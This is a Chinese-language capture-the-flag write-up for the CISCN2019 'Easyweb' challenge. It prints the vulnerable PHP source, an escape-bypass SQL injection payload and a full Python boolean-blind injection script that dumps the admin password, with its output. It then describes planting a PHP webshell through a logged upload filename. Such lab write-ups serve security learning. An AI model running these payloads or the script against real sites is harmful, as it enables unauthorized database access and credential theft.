[CISCN2019 总决赛 Day2 Web1]Easyweb
思路
buuctf这边给了源码但好像题目原本并没直接提供
按原题来吧
首页要登陆,简单试试弱口令和万能密码并不行
扫描到robots.php发现这个:
User-agent: *
Disallow: /static/secretkey.txt
可别的WP说是这个:
User-agent: *
Disallow: *.php.bak
源码也确实给了这个,难道buuctf的题错了?不懂
总之,根据这个尝试index.php.bak无果
f12看看源码,这里发现图片是访问image.php来获取图片的
<img src="image.php?id=3" width="200" height="200">
试试image.php.bak发现image.php源码
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
解题
这里是两个位置的注入,可以构造绕过
先讲一下函数的功能:
$id=isset($_GET["id"])?$_GET["id"]:"1";
# 这里这个函数是加斜杠,换句话说就是输出原始字符
# \0 (看上去是0) -> \\0(看上去是\0)
$id=addslashes($id);
# 将\\0(看上去是\0)删去 -> \
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
这样就得到了\,可以转义掉'
select * from images where id='{$id}' or path='{$path}'
select * from images where id='\' or path='{$path}'
select * from images where id='\' or path='union select 1, 0x696d6167652e706870-- -'
id = \0
path = union select 1, 0x696d6167652e706870-- -
0x696d6167652e706870转为字符串即为image.php
这里不知道为什么,只有-- -才行,#不行
可以用下载器下载这个url
http://5f292944-6ea3-4bc4-9e1b-9f970d0feeb1.node5.buuoj.cn:81/image.php?id=\0&path=union select 1,0x696d6167652e706870-- -
得到image.php源码
但是无法得到config.php
那就考验基本功了
先看看user.php
<?php
include "config.php";
include "function.php";
$username="";
if (!is_login() && !isset($_POST["username"]) && !isset($_POST["password"]))
{
header('Location: index.php');
die;
}
if ($username==="")
{
$stmt=$con->prepare("select * from users where username=?");
$stmt->bind_param("s",$_POST["username"]);
$stmt->execute();
$result=$stmt->get_result();
$row=$result->fetch_assoc();
if ($row["password"]===$_POST["password"])
{
$username=$_POST["username"];
setcookie("username",encode($username,$secret));
}
else
{
header('Location: index.php');
die;
}
}
$admin_html=<<<EOF
Hello, admin!
<form action="upload.php" method="post"enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
EOF;
if ($username!=="admin")
{
echo "Hello, {$username}, if you are admin, I will give you a surprise.";
}
else
{
echo $admin_html;
}
看看function.php
<?php
function encode($str,$key)
{
$tmp="";
for ($i=0;$i<strlen($str);$i++)
{
$tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)]));
}
return base64_encode($tmp);
}
function decode($str,$key)
{
$str=base64_decode($str);
$tmp="";
for ($i=0;$i<strlen($str);$i++)
{
$tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)]));
}
return $tmp;
}
function is_login()
{
global $username,$secret;
if (!isset($_COOKIE["username"]))
return false;
$username=decode($_COOKIE["username"],$secret);
return true;
}
再看看upload.php
<?php
include "config.php";
include "function.php";
is_login();
if ($username!=="admin")
{
echo "You have not permission.<script>setTimeout('location.href=\"index.php\"',3000);</script>";
die;
}
if (!$_FILES["file"]["name"])
{
echo "Please chose a file to upload.<script>setTimeout('location.href=\"user.php\"',3000);</script>";
die;
}
$file_name=$_FILES["file"]["name"];
if (preg_match("/php/i",$file_name))
{
echo "You cant upload php file.<script>setTimeout('location.href=\"user.php\"',3000);</script>";
die;
}
file_put_contents("logs/upload.log.php","User {$username} uploaded file {$file_name}.\n",FILE_APPEND);
echo "I logged the file name you uploaded. LOL<script>setTimeout('location.href=\"user.php\"',3000);</script>";
想要利用文件上传,必须先构造admin的usernameCookie值,必须拿到密钥的前5位
或者直接拿到admin的密码
我们用布尔盲注爆破admin密码试试
有JFIF的回显说明True,反之为False
时间盲注也行,有时间写写代码
import requests
import string
import time
url = 'http://5f292944-6ea3-4bc4-9e1b-9f970d0feeb1.node5.buuoj.cn:81/image.php?id=\\0&path='
min_num = 32
max_num = 127
success_flag = "JFIF"
def bool_success(url: string, params : dict, success_flag: string, fail_flag: string):
if not hasattr(bool_success, 'wait_time'):
bool_success.wait_time = 0.02
if not hasattr(bool_success, 'success_times'):
bool_success.success_times = 0
if not hasattr(bool_success, 'total_times'):
bool_success.total_times = 0
state_503 = True
while state_503:
time.sleep(bool_success.wait_time)
if bool_success.total_times >= 10 and bool_success.success_times / bool_success.total_times >= 0.5:
bool_success.wait_time += 0.01
bool_success.total_times = 0
bool_success.success_times = 0
bool_success.total_times += 1
try:
response = requests.get(url=url, params=params)
except Exception:
continue
if requests.status_codes != 503:
state_503 = False
bool_success.success_times += 1
# print(url, response.text)
if success_flag in response.text:
return True
else:
continue
return False
res = ''
None_num = 0
for i in range(1, 500):
left = min_num - 1
right = max_num + 1
mid = (left + right) // 2
while left + 1 != right:
column_name = 'password'
table_name = 'users'
# TODO: 修改点5
payload = f' or ascii(substr((select {column_name} from {table_name}),{i},1))>{mid}-- -'
if bool_success(url+payload,{}, success_flag, fail_flag):
left = mid
else:
right = mid
mid = (left + right) // 2
if right == max_num + 1 or left == min_num - 1:
print('NoneChr!')
None_num += 1
if None_num >= 5:
print('---finished---')
break
continue
res += chr(right)
print(res)
4
4b
4b9
4b92
4b92f
4b92ff
4b92ff7
4b92ff79
4b92ff79a
4b92ff79ab
4b92ff79ab8
4b92ff79ab83
4b92ff79ab834
4b92ff79ab8344
4b92ff79ab8344b
4b92ff79ab8344bb
4b92ff79ab8344bb9
4b92ff79ab8344bb9a
4b92ff79ab8344bb9a6
4b92ff79ab8344bb9a64
NoneChr!
NoneChr!
NoneChr!
NoneChr!
NoneChr!
---finished---
然后正常登录
登录之后发现可以上传文件,并且会将log记录保存到一个php文件里,准备传个小马

链接木马(这里不知道为什么无法访问了,被迫重开

不知道为什么冰蝎不行
还有记得加上Content-Type: application/x-www-form-urlencoded
差点又害得我浪费时间
注意
- 两重注入的特殊绕过方式
- bool盲注如果是get,尽量用url而不要用params
Content-Type: application/x-www-form-urlencoded